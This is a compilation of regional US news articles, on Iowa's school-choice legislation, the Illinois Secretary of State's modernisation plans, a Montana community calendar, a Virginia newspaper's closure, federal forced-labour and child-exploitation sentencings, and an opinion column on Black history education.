The focus of school choice isnt about schools. It isnt about teachers. It isnt about any of those things. The focus of school choice is about kids, Wills added during more than five hours of debate in the House. Its about parents having the ability to be in the driver seat for their kids sake.  This is about parents needing something different. Theyre desperate. Some parents are desperate for a change. Were going to offer that for them.

Opponents counter that the state is responsible for funding public schools, that state programs already exist to help private-school students and that creating a new, $345 million annual funding stream for private schools will put future funding of public schools at risk. Critics of the bill also note that taxpayer funding should not go to private schools that are not held to the same reporting requirements as public schools and because private schools can choose which students to accept and which to reject.

Public schools accept all kids; private schools pick and choose, Rep. Jennifer Konfrst, leader of the House Democrats from Windsor Heights, said. This is not about school choice. This is about school administrator choice.

Democrats derided the programs price tag, saying those funds could better be used to subsidize public college tuition, expand pre-K access or boost public school funding.

Several Democrats raised the contention that private schools are allowed to turn away or drop from enrollment children with special needs, learning disabilities or behavioral issues. Public schools are required by law to create individualized education plans for students with special needs, but private schools do not have the same requirements.

Rep. Heather Matson, D-Ankeny, said a student in her district with autism, named Brandon, would likely not be accepted at a private school.

There is no choice for him because no private school will accept him because of his disabilities, she said. But Brandon is accepted and has teachers and staff who work hard for him in the Ankeny Community School District.

Rep. Skyler Wheeler, R-Hull who chairs the House education committee, said the plan allowed parents who did not have the financial means to choose a school thats best for their children.

This is about students; its not about systems, he said. Tonight, in a historic fashion, the state of Iowa is going to uphold and uplift every family in the state.

Wheeler called warnings that the plan would lead to consolidation and closure of rural schools doom and gloom, saying the same concerns had been floated with past laws that he said ultimately had little impact on rural schools.

Rep. Thomas Moore, R-Griswold and one of the nine House Republicans who voted against the bill, said he voted no because of strong opposition from his constituents. Even though his Southwest Iowa district is strongly Republican, Moore said his constituents were calling on him to vote against the bill.

My vote came down to my constituents, he said. I represent them. I dont represent myself. Although I was opposed.

Moore said he opposed the bills high price tag and the fact a portion of the taxpayer funding would go to families who could already afford private schools.

To me, being a fiscal conservative to give 33,000 people new money that they have already been spending on their own and dont really need  to me thats money that we could be using for other purposes here at the Capitol, Moore said.

The bill later passed the Iowa Senate by a 31-18 vote, with only Republicans supporting the bill and three Republicans joining all Democrats in opposition.

Sen. Zach Wahls, leader of the Iowa Senate Democrats, said during debate that the proposal would hurt rural communities by endangering their schools. He said it would take only a small number of students leaving a small school to cause significant financial distress.

Wahls called the proposal rushed, reckless and radical.

Wheres the voice of rural education leaders in this discussion? Wahls asked during debate. This bill is Robin Hood in reverse.

Sen. Amy Sinclair, R-Allerton who chairs the Senates education committee, pushed back against Democrats arguments and insisted the legislation will not harm public schools, whether urban or rural. She also said the new $345 million annual program will not stress future state budgets.

This is not an attack on teachers or public schools. This is not an attack on public education, Sinclair said during Senate debate. This bill is about rights, parental rights and choice in education.  We empower the parents to make the educational choice that best suits their child.

Legislators from both parties argued that public opinion is on their side of the state-funded private school assistance debate.

Polling from the Des Moines Register/Mediacom Iowa Poll, considered the gold standard in Iowa polling, showed that a majority of Iowans opposed Reynolds more limited proposal in 2022. There has been no public polling on this years bill.

Streamlining debate

Democrats, who are in the minority in both chambers, argued that Republicans, with their agenda-setting majorities, took actions in both chambers that limited debate on the bill.

In the House, Republicans created a new education reform committee in which to debate the bill, then wrote and approved a new chamber rule that said even though the bill contains new state spending, it is not required to go through the budget committee.

We shouldnt be passing legislation or rules that circumvent the process or eliminate input from the public or each other, Konfrst said. To the 39 new members of this chamber, I am so sorry that your first vote is one that circumvents the process and that allows less oversight on incredibly expensive legislation.

In the Senate, Republicans used a debate process rule that effectively made it so Democrats could not introduce amendments.

It is a willful, blatant way of cutting everybody out from perfecting the bill and listening to our constituents who sent us hundreds of emails (about) whats wrong with it, Sen. Bill Dotzler, D-Waterloo, said. Why wouldnt you want to listen to the public? Why wouldnt you want to listen to somebody who might have a good idea? 

Ive been here longer than any other senator in this room, Dotzler added. And Ive never seen anything so blatant in all my years.

Fiscal analysis

Earlier Monday, the nonpartisan Legislative Services Agency issued its highly-anticipated fiscal analysis Reynolds proposal just hours ahead of floor debate on the bill. The agency projects the proposal will cost $345 million annually once fully implemented.

The nonpartisan agencys estimates closely align with those made earlier by Reynolds office, which predicted the program would cost $341 million when fully implemented.
SPRINGFIELD  For newly sworn-in Secretary of State Alexi Giannoulias, customer service is the central mission as he assumes the states second-largest constitutional office, replacing the man who had held it for nearly a quarter century.

Modernization and bringing new technology is going to be at the forefront of everything we do, Giannoulias said in an interview with Capitol News Illinois at the end of his second week in office. This office is rooted in customer service, and my goal is to provide the best customer service possible.

With over 4,000 employees divided among 20 departments, the secretary of states office deals more with the public directly than any other constitutional office. Most well-known for overseeing drivers licenses and vehicle registrations, the office is also responsible for supporting the states libraries, keeping an organ and tissue donation registry and maintaining the 20-building Capitol Complex, among other tasks.

Last week, Giannoulias released his teams transition report, a guiding document compiled by 124 individuals who served on nine separate subcommittees.

The report outlined priority areas for the office, including improving driver services facilities, ethics and office policies, and technology enhancements. The report was also informed by ideas and suggestions submitted by more than 800 Illinoisans through RevUpIllinois, a website run through the secretary of states office that allows residents to submit a survey on the offices performance.

We had some great suggestions, some were ideas we hadnt thought of. Some were complaints that gave us a good idea of what we need to focus on, so they were critical, Giannoulias said. And I would encourage people to continue to send us their ideas.

Late last year, Giannoulias asked state Rep. Dan Brady, R-Bloomington, to serve on his transition team. Although it may be seen as fairly unusual for a defeated opponent to participate in this process, Brady said he was pleasantly surprised by the offer.

I appreciate the opportunity to continue service in that way, using my expertise and experience and suggesting some of the things I talked about along the campaign trail, Brady said. It was an opportunity of sharing knowledges and experiences that hopefully will be helpful.

For both Giannoulias and Brady, this move says a lot about the offices capability for bipartisanship. In many ways its also a testament to the legacy of outgoing secretary Jesse White, who had held the office since 1999 until his retirement at the age of 88 this year.

White praised both candidates in the general election, noting he had worked with both of them on policy proposals. The retired secretary also had crossover appeal with voters as the perennial lead vote-getter on the statewide ticket throughout his career.

I think, in general, people are sick and tired of people who just hate the other party and wont work with them and I pride myself on always working with anyone who has good ideas, whether theyre Democrat or Republican, Giannoulias said.

Brady said some of his ideas that made it into the final report included partnering with community colleges to lease space for DMV facilities that already have modern infrastructure capabilities, expanding remote services and cross-training employees to help with both driver and vehicle services.

One of Giannoulias top priorities for the office is making driver service facilities among the most customer centric and accessible in the country.

And this means implementing our aggressive modernization plan using technology to overhaul and improve customer service and to help reduce wait times, Giannoulias said.

The driver facilities and road safety subcommittee outlined several suggestions in the report. They include creating an online scheduling service for drivers licenses and vehicle registrations, and an electronic document upload and approval service. The report also suggests implementing optional digital license plates, electronic vehicle registration and insurance documentation.

Giannoulias also noted modernization will play a role in every single department, not just for driver services.

This includes making the lobbyist registration database more accessible, improving accessibility for e-books and online educational resources in libraries, and further streamlining technology services.

Brady chaired the organ and tissue donation subcommittee, given his experience as McLean County coroner. He also served on the board of Gift of Hope, a non-profit for organ and tissue donation services.

Its been a passion of mine and I want to see those numbers increase from the standpoint of registration and how do we do more, not just in the facilities, but across the state, he said.

Some of the reports suggestions to increase donor registration numbers include automating the donor process to ease registration burdens, training secretary of state staff on organ donation so they can better inform the public, and working with the coroner and medical offices to improve the process.

On Giannoulias first day in office, he signed an executive order aimed at improving ethics and transparency in the office, a promise he made during his inaugural speech.

The order outlines six provisions, including a review of state vehicles to ensure they are only used for business-related functions, strengthening the offices sexual harassment policy and prohibiting secretary of state employees from contributing to the offices political fund.

Now, Giannoulias says its all about implementing these suggestions.

We will have digital IDs and digital drivers license and E-title system, were going to do all that, Giannoulias said. But right now we have to modernize the current process as is, to make sure people arent waiting in line, to make sure a piece of paper doesnt touch nine hands before it gets back to a customer.

Capitol News Illinois is a nonprofit, nonpartisan news service covering state government. It is distributed to more than 400 newspapers statewide, as well as hundreds of radio and TV stations. It is funded primarily by the Illinois Press Foundation and the Robert R. McCormick Foundation.
Do you have an event or calendar item you would like published in the Ravalli Republic? Please email your submission to events@ravallirepublic.com. Submit information in paragraph form. Posters and flyers will not be accepted.

Announcements

Submissions Accepted for the 2nd Annual Winter Wonderland Art Exhibit, Submissions will be accepted at North Valley Public Library for the 2nd Annual Winter Wonderland Art Exhibition 2023 through Jan. 25. To submit, complete the submission form found on the library's website or, you may pick up a submission form at the NVPL front desk. Only drawings or paintings accepted. Your artwork must be an original piece on the theme of "Winter Wonderland." Artwork may not be larger than 24" on any side. Best of Show ribbons will be awarded to one winner in each category (Youth, Teen, and Adult) during the Winter Wonderland Art Exhibit held Thursday, Jan. 26 at 6 p.m.

Hamilton Soroptimist has over $40,000 for scholarships for women in trade, technical, certification, undergraduate and advanced or graduate programs. Awards prioritize Ravalli County women with financial need, who are returning to school or training, or who are older women. Training or educational programs do not need to be within Ravalli County. See sihamilton.org/scholarships for scholarship options and criteria. Application deadline is Jan. 31, 2023.

Monday, Jan. 23

Bitterroot Public Library, Sock Gnomes Take Home Kit. First come, first served grab-bag kit. Kit includes all materials and instructions you need to create at home. For more information call 406-363-1670. 306 State St., Hamilton. bitterrootpubliclibrary.org.

Hamilton Senior Center, lunch is served 11:45 a.m.-12:30 p.m., $5; Hand and foot (canasta) $2, every Monday, 12:30 p.m. 820 N. 4th St., Hamilton.

Stevensville Senior Center, 8 a.m. Coffee Club, meals at 11:30 a.m. on Monday, Wednesday and Friday; Pinochle at 7 p.m. 100 Mission St., Stevensville.

Golden Age Club, light exercise, 9-10 a.m., .50. 727 S. 5th St., Hamilton.

Ravalli County Fish & Wildlife Association general meeting, 6:30 p.m. at the Daly Leach Community Room, 1010 W. Main St. Hamilton. Along with general business, guest speaker will be Liz Bradley, Region 2 Wildlife Manager and newly appointed Region 2 Fish & Game Commissioner, Jeff Burrows. Banquet tickets will be available for the Feb. 25th fundraiser. Meetings are open to the public. Anyone interested in wildlife issues is invited to attend.

Tuesday, Jan. 24

Bitterroot Public Library, Coloring Club for Adults, meeting room, 10:30 to 1 p.m. Builders Club, 4 to 5 p.m., meeting room, registration required. Socrates Cafe, 6:30 to 9 p.m. meeting room, no registration required. For more information call 406-363-1670. 306 State St., Hamilton. bitterrootpubliclibrary.org.

North Valley Public Library, Role playing games, 4-6 p.m., in-person or online (teens). 208 Main St., Stevensville, northvalleylibrary.org.

Stevensville Senior Center, 8 a.m. Coffee Club. Exercise, 10 a.m., Tuesday and Thursday. 100 Mission St., Stevensville.

Journey Through Grief Support, a six-week series for anyone who is grieving the death of a loved one. Tuesdays, Jan. 3  March 28, 2:30 p.m., at St Francis of Assisi, 411 S. 5th St, Hamilton. Please RSVP at stfrancishwm@gmail.com.

Ravalli County Republican Women's Club will hold its monthly meeting and lunch at 11:30 a.m. at BJ's Restaurant in Hamilton. They will have installation of 2023 officers and talk about goals and events they might want to participate in. Ravalli County Republican Women meet the fourth Tuesday of each month.

Wednesday, Jan. 25

Bitterroot Public Library, Baby and Toddler Story Time, meeting room, 10:30 a.m., registration required. Junior Chef Creations, meeting room, 4 to 5 p.m., registration required. Quantum Discussion Group, 6:30 to 8:30 p.m., meeting room, no registration required. For more information call 406-363-1670. 306 State St., Hamilton. bitterrootpubliclibrary.org.

North Valley Public Library, Songs & Stories for Preschoolers, 10:30-11 a.m. Data Findings meeting with Board, Architects and Consultants, 2-5 p.m., (adults). For more information call 406-777-5061. 208 Main St., Stevensville, northvalleylibrary.org.

Hamilton Senior Center, lunch is served 11:45 a.m.-12:30 p.m., $5; 820 N. 4th St., Hamilton.

Stevensville Senior Center, 8 a.m. Coffee Club, meals at 11:30 a.m. on Monday, Wednesday and Friday; 100 Mission St., Stevensville.

Golden Age Club, light exercise, 9-10 a.m., .50. Pinochle games, 1 p.m., multiple bid, $3, coffee provided. 727 S. 5th St., Hamilton.

Bitterroot Quilters Guild will hold their first meeting of the new year on at Daly Leach Community Room, 1010 W Main, Hamilton. Doors open at 6 p.m. for socializing and shopping; the meeting will come to order at 6:30. Carpooling is recommended; please reach out to a board member if you prefer not to drive. There will be a Fat Quarter Drawing, 50/50 Pot, bargain sales at the Ugli Bin as well as member show and tell. Peggy Holt will present a program of Abstract Art Quilts. Membership in the Guild is open to quilters from beginner through advanced. Annual dues are $20. To keep abreast of activities, please visit the Bitterroot Quilters Guild on Facebook.

Thursday, Jan. 26

Bitterroot Public Library, Bitterroot Book Club, noon, meeting room, registration recommended. Stuffed Animal Sleepover, meeting room, 2 to 4 p.m. Kids 3D Printing Workshop, meeting room, 4 to 5 p.m., registration required. For more information call 406-363-1670. 306 State St., Hamilton. bitterrootpubliclibrary.org.

North Valley Public Library, Second Annual Winter Wonderland Art Exhibition, 6-8 p.m. (children, teens, adults, families). For more information call 406-777-5061. 208 Main St., Stevensville, northvalleylibrary.org.

Stevensville Senior Center, 8 a.m. Coffee Club. Exercise, 10 a.m., Tuesday and Thursday. 100 Mission St., Stevensville.

Friday, Jan. 27

Bitterroot Public Library, Preschool Story time, 10:30 a.m., meeting room, registration required. One on One Tech Support, 10 a.m. to noon, reservations recommended. Stuffed Animal Sleepover Pickup, meeting room, 2 to 4 p.m. For more information call 406-363-1670. 306 State St., Hamilton. bitterrootpubliclibrary.org.

North Valley Public Library, Open World Fridays, 4-6 p.m., teens (12-18). Choose to 3D print objects and then paint them, create a craft, explore the Dungeons & Dragons handbooks, or make a zine, its up to you. For more information call 406-777-5061. 208 Main St., Stevensville, northvalleylibrary.org.

Hamilton Senior Center, lunch is served 11:45 a.m.-12:30 p.m., $5; Pinochle games, 1 p.m., $3. 820 N. 4th St., Hamilton.

Stevensville Senior Center, 8 a.m. Coffee Club, meals at 11:30 a.m. on Monday, Wednesday and Friday. 100 Mission St., Stevensville.

Golden Age Club, light exercise, 9-10 a.m., .50. 727 S. 5th St., Hamilton.

Saturday, Jan. 28

Hamilton Senior Center, bingo is every first and third Saturday, opens at noon, play begins at 1 p.m. $2 entry fee. $10/15 games. Must be 18+ to play. Flea Market is the 2nd Saturday of every month from 8 a.m. to 2:30 p.m., September to May. 820 N. 4th St., Hamilton.

Stevensville Senior Center, pinochle at 7 p.m. 100 Mission St., Stevensville.

AA Meeting, 6-10 p.m., Bitterroot Public Library, 306 State St.

Further ahead

Tuesday, Feb. 7

Fly Fishers of the Bitterroot monthly meeting at BJ's Restaurant in Hamilton. Social/dinner hour is 5:30 p.m. to 6;30 p.m. Cocktails and dinner are optional. Guest speaker Tony Reinhradt will be presenting this month. Tony is a well seasoned guide on the waters of western Montana & owner of Montana Trout Outfitters in Missoula. Tony also serves as a Travel Advisor for Wild on the Fly Fishing Adventure Travel and has hosted fly fishing trips across the globe. Tony's presentation is: Advanced Float Fishing Strategies. The program is designed to offer insights into float fishing that will help anglers produce better results from a drift boat or raft. The differences between float fishing & wade fishing will be highlighted, along with key aspects of casting angles, line management, hooking fish,and teamwork. Learn the tips and tactics that will lead to more trout in the net, and less frustration! Tony is very popular in Western Montana and there is sure to be a crowd, so get there early and grab your seat! If you are a beginner or advanced fly fisherman and you love to fish, Fly Fishers of the Bitterroot is the social club for you. For more information call Phil at 406-361-1516.

Saturday, Feb. 11

11th annual Cowboy Ball, a fun, festive, western themed fundraiser with proceeds going to support the Rockin RC Rodeo and the Equestrian side of The Ravalli County Fairgrounds. Doors open at 5 p.m., dinner at 6 p.m., with a cash bar and with live music by country-rock band 406 from 8:30-11:30 p.m. Tickets on sale now, call 406-363-3411. Ravalli County Fairgrounds, Hamilton.

Thursday, March 2

Golden Age Club, bimonthly membership meeting, 1 p.m., 727 South 5th St., Hamilton.
The owners of the Chesterfield Observer have announced their decision to close the weekly newspaper.

The Feb. 1 issue will be the newspapers last edition, according to owners Carol and Frank McCracken. The announcement was made in the Jan. 25 edition of the Chesterfield Observer.

For over 27 years, the Chesterfield Observer has been the fabric of the community. We are heartbroken we are no longer able to report the local news and goings-on, owner Carol McCracken said via email.

The independently run newspaper covers Chesterfield County and currently distributes 60,000 copies a week. The local paper employs six full-time staff and three part-time staff.

The owners cited a significant decline in advertising revenue caused by the COVID-19 pandemic.

The McCrackens reported better-than-average financial performance in 2018 and 2019, but said the newspapers advertising base never rebounded after the pandemic began in 2020.

In 2021, supply-chain stresses brought an 8% increase in the cost of newsprint, and other production costs more than doubled, financially prohibiting the Observers ability to publish the annual Guide to Chesterfield, a key revenue generator, the owners said in a statement.

The owners also said the financial realities largely caused by the 2020 pandemic had become insurmountable and they decided to shutter the newspaper.

Greg Pearson founded the Observer in 1995 and ran it until 2014.

I birthed the Observer in 1995 and it grew to become the largest circulation weekly newspaper in Virginia, with almost 71,000 copies in 2014 when I sold it. I feel as if I have lost a child, Pearson said.

The closure of another local newspaper highlights severe ongoing declines in local journalism. According to a study from Northwestern Universitys Medill School of Journalism, Media and Integrated Marketing Communications released in late June, the United States continues to see newspapers die at the rate of two per week.

According to the report, the country had 6,377 newspapers at the end of May, down from 8,891 in 2005. An estimated 75,000 journalists worked in newspapers in 2006, which was down to 31,000 in 2022, the report said in June. The study also reported that annual newspaper revenue dropped from $50 billion to $21 billion in the same period.

According to an Associated Press story, 360 newspapers have shut down since the end of 2019, all but 24 of them weeklies serving small communities.

In 2019, the Virginia Press Association awarded the Chesterfield Observer the grand sweepstakes prize for overall excellence for a large weekly newspaper in Virginia.

We greatly appreciate the support over the years, Carol McCracken said on Tuesday. We will very much miss the opportunity to bring you the local journalism that you have come to love and expect weekly.

17 archive photos of Regency Mall
In a case federal authorities described as the modern-day equivalent of slavery, three members of a Midlothian family were sentenced Monday to federal prison terms ranging from five to 12 years for their roles in keeping a woman from Pakistan in forced labor at their home for more than a dozen years. The victim had married into the family.

The three defendants  Zahida Aman, 80, the matriarch of the family; and two of her sons, Mohammed Rehan Chaudhri, 49, and Mohammad Nauman Chaudhri, 55  conspired to use physical violence, verbal abuse and psychological coercion to compel the victim to perform thousands of hours of domestic services and physically demanding manual labor for 12 long years, federal prosecutors said in urging stiff punishment.

Indeed, during the course of their illegal agreement and in furtherance of their criminal conspiracy, each defendant assaulted, verbally attacked and abused [the victims] children to carefully construct a climate of fear that continuously compelled her labor, Assistant U.S. Attorneys Stephen Miller and Shea Gibbons said in court filings.

Moreover, prosecutors said, the three family members took steps toward the end of the conspiracy to conceal their conduct by banishing the victim, Maira Butt, from the main part of the house, limiting her access to food and basic human interactions and further separating her from her children.

The impact of the forced labor and abuse was so agonizing that Butt twice tried to take her own life by consuming rat poison on one occasion and overdosing on sleeping pills on another. The victim lost 60 pounds and clumps of her hair during the 12-year ordeal, and was physically unrecognizable to one of her brothers when he first encountered her after he traveled to the U.S. from Pakistan to learn whether she was still alive.

Three found guilty in May

After a sentencing hearing in U.S. District Court in Richmond on Monday, Judge John A. Gibney Jr. sentenced Zahida Aman to 144 months on her earlier convictions of conspiring to engage in forced labor, forcing the victim to perform forced labor and document servitude. The latter charge involved keeping the victims immigration documents.

The punishment was a significant downward departure from discretionary federal sentencing guidelines, which for Aman was calculated at a range of 235 to 293 months.

Ashland discusses safety after video shows train striking stalled vehicle It's a frightening image. A train barreling through town, and moments later, striking a vehicle that had been abandoned on the railway. And it's captured on surveillance footage to be replayed, and replayed like a nightmarish loop.

Her attorneys, assistant public defenders Nia Vidal and Mary Maguire, said Aman still maintains her innocence, is not a monster and described the guidelines punishment as excessive. They also noted shes in poor health, three days shy of her 81st birthday, and that her husband, a retired brigadier general in the Pakistan Army, is 95 and dying. They sought a sentence of five years probation with home detention.

Separately, Gibney sentenced Mohammed Rehan Chaudhri to 120 months in prison and Mohammad Nauman Chaudhri to 60 months. Rehan Chaudhri was convicted of conspiring to engage in forced labor and forcing the victim to perform forced labor. Nauman Chaudhri was found guilty of the conspiracy offense.

Aman and Rehan Chaudhi also were jointly ordered to pay $250,000 in restitution to cover the victims medical expenses, unpaid back wages, damages and the value of gold jewelry that family members seized from her. Prosecutors had sought $425,000 in restitution.

Nauman Chaudhri worked as a nurse at VCU Medical Center, and brother Rehan was a VCU student who worked part time on campus. Neither had prior criminal records, and several of their colleagues at VCU submitted letters of support on their behalf.

After an eight-day trial last May, a federal jury found the three family members guilty of the offenses, which occurred from March 2002 until August 2014 while the victim was living with the defendants. Following the verdict, Jessica Aber, U.S. attorney for the Eastern District of Virginia, called the crime the modern-day equivalent of slavery [that] has no place in our country or district.

According to a trial brief filed by the government, Aman and the victims mother arranged her daughters marriage in Islamabad, Pakistan, to Salman Chaudhri, the eldest son of Aman and the brother of the two co-defendants. Contrary to common practice, the victim had not seen or spoke with Salman Chaudhri before their marriage ceremony in January 2002.

After they were married, her new husband told her that if she wanted to please him, she had to make his family and, particularly his mother  Aman  happy.

Shortly after her arrival in the U.S., Aman held a family meeting where she instructed the victim to surrender possession of her personal and immigration paperwork for safekeeping. Aman also seized several of the victims personal effects, including jewelry that was gifted to her by her family for her wedding, and a notebook that listed the contact information for her family and friends in Pakistan, according to the trial brief.

As a result, the victim had no legal documentation, assets of value or contact information for her family and friends within months of arriving in the United States, prosecutors said. She was becoming completely dependent on the defendants for basic necessities and emotional support.

Within weeks of her arrival, the victim was required to perform housework such as cleaning the kitchen and bathrooms, dusting common areas, washing the dishes, doing laundry, cleaning bedrooms, helping prepare meals and organizing closets at the familys home at 2700 London Park Drive in Midlothian. She basically cleaned all day until she went to bed, becoming the robot of the house who did whatever they asked her to do, prosecutors said in court filings.

Finding hope in courts' behavioral health dockets In a handful of Virginia courts, behavioral health dockets offer treatment, rather than jail, for offenders with mental illness.

As time passed, the victim was required to perform increasingly laborious tasks, such as stripping and staining the deck by hand; mowing the lawn with a push mower; hand-washing and line-drying area rugs; painting the inside and outside of the familys two-story house; and picking debris from car carpets with a pair of tweezers. She also was required to construct a concrete walkway in front of the home, which required her to haul large bags of concrete before mixing and pouring cement, according to the trial brief.

As the type of work the defendants required [the victim] to perform intensified, so too did the coercive scheme they employed to compel her labor, prosecutors said in the trial brief. The defendants used a combination of coercive means, including physical assaults, verbal abuse, isolation, starvation and threats of deportation to create a climate of fear that compelled [the victims] labor, prosecutors said. Consequently, the victim felt like she had no choice but to work in the home.

The victim was slapped on a regular basis for not doing chores or performing chores incorrectly. On one occasion, she was tied with rope and pushed down the stairs in front of her children as punishment for taking one of the family members phones and trying to call her husband. On another occasion, she was beaten with a wooden board, according to prosecutors.

Slept on laundry room floor

The defendants eventually moved the victim into the laundry room, where she slept on a mat on the floor. At this point, the family members gradually stopped forcing her to perform work in the house, choosing instead to ignore her presence entirely. Subsequently, the homes garage was converted into a small annex, where the victim was eventually exiled.

Prosecutors said the victims marriage to Salman Chaudhri was never a normal union of husband and wife. Salman Chaudhri was not regularly in the familys home during the early stages of their marriage, as he completed his medical education and residence out of state.

The husband eventually left the house entirely in 2006 and moved to Pennsylvania for his medical career and then to California, where he set up a medical practice, prosecutors said in the trial brief.

Salman Chaudhri met and started dating a woman in 2011 to whom he became engaged in 2013. Chaudhri didnt take the victim with him to California, and she remained living and working in the familys Midlothian home despite their marriage, prosecutors said. Chaudhri and the victim had four children from 2003 to 2008.

Prosecutors said that perhaps the worst punishment the defendants inflicted was the wedge they drove between Butt and her children. They convinced the children their mother was a monster and dangerous, forcing them to spit on her. The defendants belittled and punished the children when they showed any kindness or affection to their mother, and they usurped her role as a mother, prosecutors said.

In May 2016, the victim escaped from the familys home with help from a brother from Pakistan. After leaving, the victim reported the abuse she endured to Chesterfield County police Detective Laura Kay, and charges were placed against the three family members. The cases were transferred to federal court for prosecution.

After two months of rebuilding her relationships with her family and gaining emotional courage, [the victim] contacted [her brother], who helped her leave the home, prosecutors wrote. The victim subsequently gained full custody of her children, despite a contested custody battle with the defendants.

The victim currently lives in Connecticut with all four children.

How gas prices have changed in Virginia in the last week How gas prices have changed in Virginia in the last week
Richmond police have released an image from a surveillance camera that they said shows an armed robbery suspect.

Police in a statement said they were called to a business in the 4800 block of Forest Hill Avenue at about 3:19 a.m. on Friday. A man wearing a black sweatshirt and black jeans showed a firearm and demanded money from an employee, police said. The man took money from the cash register and fled on foot.
Michael Paul Williams Follow Michael Paul Williams Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Today

As we approach Februarys Black History Month, cynical politicians are attempting an erasure of the Black narrative in America history.

A little over a year ago  on of all occasions, the birthday of the Rev. Martin Luther King Jr.  Virginia Gov. Glenn Youngkin issued an executive order casting a chill over how lessons about race and racism should be taught in the K-12 classroom. And earlier this month, the state of Florida followed up on its prior Stop Woke Act by banning a high school AP course on African American studies.

The banned course was developed by the very mainstream College Board, a venerable nonprofit organization responsible for administering standardized tests like the SAT. The administration of Florida Gov. Ron DeSantis said the course significantly lacks educational value. That sounds like a way of saying Black people have no role in the American narrative that white students are obliged to learn.

African Americans are no strangers to being written out of the American story. But Mignonne Guy, chair of the African American Studies Department at Virginia Commonwealth University, sees something less discussed but no less insidious at work.

Its not just anti-Blackness. It is an explicit act of legislating white ignorance ... because they are being robbed of their history as well, she said of white students.

She recalled the 2020 movement for Black lives after the murder of George Floyd by a Minneapolis police officer  an event that triggered street protests and Confederate monument removal in Richmond, but also sparked marches in overwhelmingly white cities such as Portland, Oregon, and Salt Lake City. What was one of the largest multiracial civil rights protests in American history unnerved people invested in the maintenance of white supremacy.

There were too many white young people out there marching with Black people hand in hand, Guy said. That is the biggest concern that they have ... white people being educated.

An entire right-wing movement has been built around those fears, centered on such buzz words as critical race theory. What theyre really banning is dialogue and study around racial inequities, Guy said.

For Youngkin, this was purported to be about protecting the feelings of white students from the emotional freight of Americas legacy of racism. But really, its about insulating these young people from an enlightenment that might steer them toward antiracism. Historical revisionism and the fomenting of racial resentment has always been an effective tool in blinding the masses to their common interests.

Cassandra Newby-Alexander, endowed professor of Virginia Black History and Culture at Norfolk State University, said this conservative attack, while not new, speaks to a deeper issue in American society about our ongoing efforts to deny our past.

These elected officials are engaging in Orwellian contortions in their attempts to purge the schoolhouse of lessons about racism and literature by Black, Hispanic and LGBT authors. But racism always produces collateral damage.

Even when it happens just to Black people, or just to Indigenous people, or just to Latino people, all of the populations suffer, Guy said. And people dont realize that. And the problem is that we consistently focus so much on the anti-Blackness that these white people, these white kids, never understand that theyre explicitly being targeted as well.

DeSantis, in his naked ambition, appears to have no problem resembling a 21st century iteration of George Wallace, the former Alabama governor who in 1963 blocked an auditorium door in defiance of Black students enrolling at the University of Alabama.

Instead of attempting to bar Black students from the schoolhouse, DeSantis would bar Black folks schools of thought from the classroom.

In Virginia, Newby-Alexander, a former member of the Commission on African American History Education under former Gov. Ralph Northam, is outraged at the Youngkin administrations undermining of that commissions prior work with the administrations January draft of the states K-12 history standards.

The framers of that draft forgot that a civil society depends upon our collective sympathy and empathy for one another, especially for those whose rights were historically conscripted in some way or were inextricably harmed by public and private actions, Newby-Alexander said.

Its disappointing that this old-school brand of exclusion has become fashionable again less than a decade after a Black man occupied the White House. Then again, some would call this backlash cause and effect.

Guy cited a paper by Texas A&M sociologist Joe Feagin with a revealing timeline that showed Black people in America enslaved for about 60% of the countrys history and under the thumb of Jim Crow for 22%.

We revert back into those spaces because they are familiar and those are really our foundation, she said.

It is here that we are not served by the color-coded siloing of our history.

Black history is American history, Guy said. So when were saying that there is no utility for Black history, were saying there is no utility for real American history.

A nation that pushes fake history is built on a lie. This fight is everyones fight.

From the archives: In 1960, The Richmond 34 were arrested during a sit-in at the Thalhimers lunch counter
A former youth pastor who used his account name vapastor to distribute child pornography via an encrypted messaging service was sentenced Tuesday to 20 years in prison for transmitting salacious videos while he was on probation for similar crimes.

Deric W. Peacocks conduct came to light in late 2021 while authorities were investigating images shared on a chat website used by people involved in exploiting children. Authorities identified Peacock, 39, as a user of the site and identified his Internet Protocol address (IP) as one posting images of child pornography, Assistant U.S. Attorney Carla Jordan-Detamore said in court filings.

Authorities subsequently executed a search warrant at Peacocks Highland Springs home on April 13, 2022, where they located his BLU Tracfone and an Amazon tablet. The devices contained several images, videos and gifs depicting the sexual abuse of children, Jordan-Detamore said.

In addition, Peacocks account on Wickr, an encrypted messaging service, was found to have received and distributed child porn via the internet between April 12 and 13, 2022. About 51 images and four videos of child porn were recovered from Peacocks devices, the prosecutor said.

One video Peacock transmitted depicted a female child, 7 to 8 years old, engaged in sexual activity. Another video was of a girl between 10-16 years old, according to the governments statement of facts.

Peacocks offenses occurred while he was still on supervised probation after being released from state prison on two convictions in Montgomery County in 2014 for procuring a sex act by computer from a person he believed was under the age of 15. The person with whom he was communicating turned out to be an undercover law enforcement officer. He was sentenced to 20 years, with 15 of it suspended.

Rather than abiding by the terms of his supervision, the defendant committed the [new] offense by obtaining unauthorized electronic devices, failing to disclose those devices to his probation officer, utilizing unauthorized chatroom and messaging services to obtain prohibited images, and later destroying and/or wiping those devices after downloading and viewing the images, Jordan-Detamore said.

Before being sent to prison for the 2014 convictions, Peacock was a youth pastor at South Hopewell Church of God, which the U.S. Attorneys Office says no longer exists.

During a sentencing hearing Tuesday in U.S. District Court in Richmond, Judge John A. Gibney Jr. sentenced Peacock to 240 months in prison on his earlier guilty plea to distribution of child pornography. The punishment is five years higher than the statutory minimum for the offense, but below federal discretionary sentencing guidelines of 292 to 365 months calculated for Peacock .

The U.S. Attorneys Office said a 240-month sentence was sufficient in this case, noting that Peacock will likely face additional state prison time for violating the terms of his probation in the Montgomery County cases. Peacock, through his attorney, agreed that a sentence of 240 months was appropriate, considering the unusually high sentencing guidelines.

Assistant Public Defender Carolyn OGrady, Peacocks attorney, said in court filings that Peacock, a divorced father of three children, feels great shame for his actions and that he openly admitted his guilt to his probation officer and the FBI when confronted with the new offenses.

Peacock had completed all his counseling and sex offender treatment for the earlier crimes, but stopped taking his anti-depressant and anti-anxiety medications, which contributed to his relapse, OGrady said.

OGrady also noted Peacocks turbulent childhood during which he suffered abuse from both of his parents. His father mocked him for his asthmatic condition, calling him weak. When his father revealed he was homosexual, Peacock moved in with his mother, who sexually abused him, the attorney said.

